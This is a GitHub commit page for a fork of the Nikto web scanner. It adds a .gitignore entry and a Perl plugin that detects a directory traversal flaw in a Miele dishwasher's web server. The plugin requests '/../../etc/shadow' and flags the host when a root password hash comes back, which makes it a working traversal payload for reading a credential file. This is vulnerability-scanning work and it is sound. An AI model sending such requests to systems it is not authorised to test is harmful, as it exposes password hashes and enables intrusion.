forked from sullo/nikto
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request sullo#468 from opt9/gitignore
Add ctags file
- Loading branch information
Showing
3 changed files
with
46 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -3,3 +3,4 @@ | |
/*.bbprojectd/ | ||
*.sublime-project | ||
*.sublime-workspace | ||
tags |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
#VERSION,2.20 | ||
############################################################################### | ||
# Copyright (C) 2017 Chris Sullo | ||
# | ||
# This program is free software; you can redistribute it and/or | ||
# modify it under the terms of the GNU General Public License | ||
# as published by the Free Software Foundation; version 2 | ||
# of the License only. | ||
# | ||
# This program is distributed in the hope that it will be useful, | ||
# but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
# GNU General Public License for more details. | ||
# | ||
# You should have received a copy of the GNU General Public License | ||
# along with this program; if not, write to | ||
# Free Software Foundation, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. | ||
############################################################################### | ||
# PURPOSE: | ||
# Check for the Miele Professional PG 8528 directory traversal vulnerability | ||
############################################################################### | ||
sub nikto_dishwasher_init { | ||
my $id = { name => "dishwasher", | ||
full_name => "dishwasher", | ||
author => "Jeremy Bae", | ||
description => "Look for the dishwasher directory traversal vulnerability.", | ||
hooks => { scan => { method => \&nikto_dishwasher, weight => 20 }, }, | ||
copyright => "2017 Chris Sullo", | ||
}; | ||
|
||
return $id; | ||
} | ||
|
||
sub nikto_dishwasher { | ||
my ($mark, $parameters) = @_; | ||
my $path = "/../../../../../../../../../../../../etc/shadow"; | ||
|
||
my ($res, $content, $error, $request, $response) = nfetch($mark, $path, "GET", "", "", "", "dishwasher"); | ||
|
||
if (($response->{'server'} =~ 'PST10 WebServer') && ($content =~ 'root:\$1\$.*')) { | ||
add_vulnerability($mark, "$path: Site appears vulnerable to the dishwasher directory traversal vulnerability.", 999951, 0, "GET", $path, $request, $response); | ||
} | ||
} | ||
|
||
1; |